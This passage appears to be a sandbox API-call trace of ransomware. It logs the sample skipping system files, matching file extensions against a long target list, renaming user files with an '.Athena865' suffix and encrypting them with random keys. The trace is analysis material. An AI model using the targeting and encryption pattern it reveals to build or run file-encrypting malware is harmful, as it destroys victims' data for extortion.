[0049.595] lstrlenW (lpString="trc") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0049.595] lstrlenW (lpString="trm") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0049.595] lstrlenW (lpString="udb") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0049.595] lstrlenW (lpString="udl") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0049.595] lstrlenW (lpString="usr") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0049.596] lstrlenW (lpString="v12") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0049.596] lstrlenW (lpString="vis") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0049.596] lstrlenW (lpString="vpd") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0049.596] lstrlenW (lpString="vvv") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0049.596] lstrlenW (lpString="wdb") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0049.596] lstrlenW (lpString="wmdb") returned 4 [0049.596] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0049.596] lstrlenW (lpString="wrk") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0049.596] lstrlenW (lpString="xdb") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0049.596] lstrlenW (lpString="xld") returned 3 [0049.596] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0049.596] lstrlenW (lpString="xmlff") returned 5 [0049.596] lstrcmpiW (lpString1="y.mp3", lpString2="xmlff") returned 1 [0049.596] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2pcowbcBn7D vLy.mp3.Athena865") returned 93 [0049.596] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2pcowbcBn7D vLy.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2pcowbcbn7d vly.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2pcowbcBn7D vLy.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2pcowbcbn7d vly.mp3.athena865"), dwFlags=0x1) returned 1 [0049.597] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2pcowbcBn7D vLy.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2pcowbcbn7d vly.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.597] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24389) returned 1 [0049.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.597] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.598] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.598] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.598] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6250, lpName=0x0) returned 0x17c [0049.598] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6250) returned 0x100000 [0049.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.600] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.600] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.601] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.601] CloseHandle (hObject=0x17c) returned 1 [0049.601] CloseHandle (hObject=0x154) returned 1 [0049.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.603] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18aa0960, ftCreationTime.dwHighDateTime=0x1d4d500, ftLastAccessTime.dwLowDateTime=0x749dc2f0, ftLastAccessTime.dwHighDateTime=0x1d4ccb5, ftLastWriteTime.dwLowDateTime=0x749dc2f0, ftLastWriteTime.dwHighDateTime=0x1d4ccb5, nFileSizeHigh=0x0, nFileSizeLow=0x16115, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2Sm1_uG-HtJxDE-R8.wav", cAlternateFileName="2SM1_U~1.WAV")) returned 1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2=".") returned 1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="..") returned 1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="windows") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="bootmgr") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="temp") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="pagefile.sys") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="boot") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="ids.txt") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="ntuser.dat") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="perflogs") returned -1 [0049.603] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2="MSBuild") returned -1 [0049.603] lstrlenW (lpString="2Sm1_uG-HtJxDE-R8.wav") returned 21 [0049.603] lstrcpyW (in: lpString1=0x241e8c8, lpString2="2Sm1_uG-HtJxDE-R8.wav" | out: lpString1="2Sm1_uG-HtJxDE-R8.wav") returned="2Sm1_uG-HtJxDE-R8.wav" [0049.603] lstrlenW (lpString="2Sm1_uG-HtJxDE-R8.wav") returned 21 [0049.604] lstrlenW (lpString="Athena865") returned 9 [0049.604] lstrcmpiW (lpString1="DE-R8.wav", lpString2="Athena865") returned 1 [0049.604] lstrlenW (lpString=".dll") returned 4 [0049.604] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2=".dll") returned 1 [0049.604] lstrlenW (lpString=".lnk") returned 4 [0049.604] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2=".lnk") returned 1 [0049.604] lstrlenW (lpString=".ini") returned 4 [0049.604] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2=".ini") returned 1 [0049.604] lstrlenW (lpString=".sys") returned 4 [0049.604] lstrcmpiW (lpString1="2Sm1_uG-HtJxDE-R8.wav", lpString2=".sys") returned 1 [0049.604] lstrlenW (lpString="2Sm1_uG-HtJxDE-R8.wav") returned 21 [0049.604] lstrlenW (lpString="bak") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1 [0049.604] lstrlenW (lpString="ba_") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1 [0049.604] lstrlenW (lpString="dbb") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1 [0049.604] lstrlenW (lpString="vmdk") returned 4 [0049.604] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1 [0049.604] lstrlenW (lpString="rar") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1 [0049.604] lstrlenW (lpString="zip") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1 [0049.604] lstrlenW (lpString="tgz") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1 [0049.604] lstrlenW (lpString="vbox") returned 4 [0049.604] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1 [0049.604] lstrlenW (lpString="vdi") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1 [0049.604] lstrlenW (lpString="vhd") returned 3 [0049.604] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1 [0049.604] lstrlenW (lpString="vhdx") returned 4 [0049.604] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1 [0049.604] lstrlenW (lpString="avhd") returned 4 [0049.605] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1 [0049.605] lstrlenW (lpString="db") returned 2 [0049.605] lstrcmpiW (lpString1="av", lpString2="db") returned -1 [0049.605] lstrlenW (lpString="db2") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1 [0049.605] lstrlenW (lpString="db3") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1 [0049.605] lstrlenW (lpString="dbf") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1 [0049.605] lstrlenW (lpString="mdf") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1 [0049.605] lstrlenW (lpString="mdb") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1 [0049.605] lstrlenW (lpString="sql") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1 [0049.605] lstrlenW (lpString="sqlite") returned 6 [0049.605] lstrcmpiW (lpString1="R8.wav", lpString2="sqlite") returned -1 [0049.605] lstrlenW (lpString="sqlite3") returned 7 [0049.605] lstrcmpiW (lpString1="-R8.wav", lpString2="sqlite3") returned -1 [0049.605] lstrlenW (lpString="sqlitedb") returned 8 [0049.605] lstrcmpiW (lpString1="E-R8.wav", lpString2="sqlitedb") returned -1 [0049.605] lstrlenW (lpString="xml") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1 [0049.605] lstrlenW (lpString="$er") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1 [0049.605] lstrlenW (lpString="4dd") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1 [0049.605] lstrlenW (lpString="4dl") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1 [0049.605] lstrlenW (lpString="^^^") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1 [0049.605] lstrlenW (lpString="abs") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1 [0049.605] lstrlenW (lpString="abx") returned 3 [0049.605] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1 [0049.606] lstrlenW (lpString="accdb") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accdb") returned -1 [0049.606] lstrlenW (lpString="accdc") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accdc") returned -1 [0049.606] lstrlenW (lpString="accde") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accde") returned -1 [0049.606] lstrlenW (lpString="accdr") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accdr") returned -1 [0049.606] lstrlenW (lpString="accdt") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accdt") returned -1 [0049.606] lstrlenW (lpString="accdw") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accdw") returned -1 [0049.606] lstrlenW (lpString="accft") returned 5 [0049.606] lstrcmpiW (lpString1="8.wav", lpString2="accft") returned -1 [0049.606] lstrlenW (lpString="adb") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0049.606] lstrlenW (lpString="adb") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1 [0049.606] lstrlenW (lpString="ade") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1 [0049.606] lstrlenW (lpString="adf") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1 [0049.606] lstrlenW (lpString="adn") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1 [0049.606] lstrlenW (lpString="adp") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1 [0049.606] lstrlenW (lpString="alf") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1 [0049.606] lstrlenW (lpString="ask") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1 [0049.606] lstrlenW (lpString="btr") returned 3 [0049.606] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1 [0049.606] lstrlenW (lpString="cat") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1 [0049.607] lstrlenW (lpString="cdb") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1 [0049.607] lstrlenW (lpString="ckp") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1 [0049.607] lstrlenW (lpString="cma") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1 [0049.607] lstrlenW (lpString="cpd") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1 [0049.607] lstrlenW (lpString="dacpac") returned 6 [0049.607] lstrcmpiW (lpString1="R8.wav", lpString2="dacpac") returned 1 [0049.607] lstrlenW (lpString="dad") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1 [0049.607] lstrlenW (lpString="dadiagrams") returned 10 [0049.607] lstrcmpiW (lpString1="xDE-R8.wav", lpString2="dadiagrams") returned 1 [0049.607] lstrlenW (lpString="daschema") returned 8 [0049.607] lstrcmpiW (lpString1="E-R8.wav", lpString2="daschema") returned 1 [0049.607] lstrlenW (lpString="db-journal") returned 10 [0049.607] lstrcmpiW (lpString1="xDE-R8.wav", lpString2="db-journal") returned 1 [0049.607] lstrlenW (lpString="db-shm") returned 6 [0049.607] lstrcmpiW (lpString1="R8.wav", lpString2="db-shm") returned 1 [0049.607] lstrlenW (lpString="db-wal") returned 6 [0049.607] lstrcmpiW (lpString1="R8.wav", lpString2="db-wal") returned 1 [0049.607] lstrlenW (lpString="dbc") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1 [0049.607] lstrlenW (lpString="dbs") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1 [0049.607] lstrlenW (lpString="dbt") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1 [0049.607] lstrlenW (lpString="dbv") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1 [0049.607] lstrlenW (lpString="dbx") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1 [0049.607] lstrlenW (lpString="dcb") returned 3 [0049.607] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1 [0049.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2Sm1_uG-HtJxDE-R8.wav.Athena865") returned 95 [0049.608] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2Sm1_uG-HtJxDE-R8.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2sm1_ug-htjxde-r8.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2Sm1_uG-HtJxDE-R8.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2sm1_ug-htjxde-r8.wav.athena865"), dwFlags=0x1) returned 1 [0049.609] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2Sm1_uG-HtJxDE-R8.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2sm1_ug-htjxde-r8.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.609] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=90389) returned 1 [0049.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.609] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.610] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.610] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.610] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16420, lpName=0x0) returned 0x17c [0049.610] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16420) returned 0x100000 [0049.613] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.614] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.614] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.614] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.615] CloseHandle (hObject=0x17c) returned 1 [0049.615] CloseHandle (hObject=0x154) returned 1 [0049.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.617] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbf7ff00, ftCreationTime.dwHighDateTime=0x1d4d097, ftLastAccessTime.dwLowDateTime=0x8fe4d3b0, ftLastAccessTime.dwHighDateTime=0x1d4d001, ftLastWriteTime.dwLowDateTime=0x8fe4d3b0, ftLastWriteTime.dwHighDateTime=0x1d4d001, nFileSizeHigh=0x0, nFileSizeLow=0x9159, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2sUrCEk8vsgO.jpg", cAlternateFileName="2SURCE~1.JPG")) returned 1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2=".") returned 1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="..") returned 1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="windows") returned -1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="bootmgr") returned -1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="temp") returned -1 [0049.617] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="pagefile.sys") returned -1 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="boot") returned -1 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="ids.txt") returned -1 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="ntuser.dat") returned -1 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="perflogs") returned -1 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2="MSBuild") returned -1 [0049.618] lstrlenW (lpString="2sUrCEk8vsgO.jpg") returned 16 [0049.618] lstrcpyW (in: lpString1=0x241e8c8, lpString2="2sUrCEk8vsgO.jpg" | out: lpString1="2sUrCEk8vsgO.jpg") returned="2sUrCEk8vsgO.jpg" [0049.618] lstrlenW (lpString="2sUrCEk8vsgO.jpg") returned 16 [0049.618] lstrlenW (lpString="Athena865") returned 9 [0049.618] lstrcmpiW (lpString1="8vsgO.jpg", lpString2="Athena865") returned -1 [0049.618] lstrlenW (lpString=".dll") returned 4 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2=".dll") returned 1 [0049.618] lstrlenW (lpString=".lnk") returned 4 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2=".lnk") returned 1 [0049.618] lstrlenW (lpString=".ini") returned 4 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2=".ini") returned 1 [0049.618] lstrlenW (lpString=".sys") returned 4 [0049.618] lstrcmpiW (lpString1="2sUrCEk8vsgO.jpg", lpString2=".sys") returned 1 [0049.618] lstrlenW (lpString="2sUrCEk8vsgO.jpg") returned 16 [0049.618] lstrlenW (lpString="bak") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0049.618] lstrlenW (lpString="ba_") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0049.618] lstrlenW (lpString="dbb") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0049.618] lstrlenW (lpString="vmdk") returned 4 [0049.618] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0049.618] lstrlenW (lpString="rar") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0049.618] lstrlenW (lpString="zip") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0049.618] lstrlenW (lpString="tgz") returned 3 [0049.618] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0049.619] lstrlenW (lpString="vbox") returned 4 [0049.619] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0049.619] lstrlenW (lpString="vdi") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0049.619] lstrlenW (lpString="vhd") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0049.619] lstrlenW (lpString="vhdx") returned 4 [0049.619] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0049.619] lstrlenW (lpString="avhd") returned 4 [0049.619] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0049.619] lstrlenW (lpString="db") returned 2 [0049.619] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0049.619] lstrlenW (lpString="db2") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0049.619] lstrlenW (lpString="db3") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0049.619] lstrlenW (lpString="dbf") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0049.619] lstrlenW (lpString="mdf") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0049.619] lstrlenW (lpString="mdb") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0049.619] lstrlenW (lpString="sql") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0049.619] lstrlenW (lpString="sqlite") returned 6 [0049.619] lstrcmpiW (lpString1="gO.jpg", lpString2="sqlite") returned -1 [0049.619] lstrlenW (lpString="sqlite3") returned 7 [0049.619] lstrcmpiW (lpString1="sgO.jpg", lpString2="sqlite3") returned -1 [0049.619] lstrlenW (lpString="sqlitedb") returned 8 [0049.619] lstrcmpiW (lpString1="vsgO.jpg", lpString2="sqlitedb") returned 1 [0049.619] lstrlenW (lpString="xml") returned 3 [0049.619] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0049.620] lstrlenW (lpString="$er") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0049.620] lstrlenW (lpString="4dd") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0049.620] lstrlenW (lpString="4dl") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0049.620] lstrlenW (lpString="^^^") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0049.620] lstrlenW (lpString="abs") returned 3 [0049.620] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0049.620] lstrlenW (lpString="abx") returned 3 [0049.620] lstrcmpiW 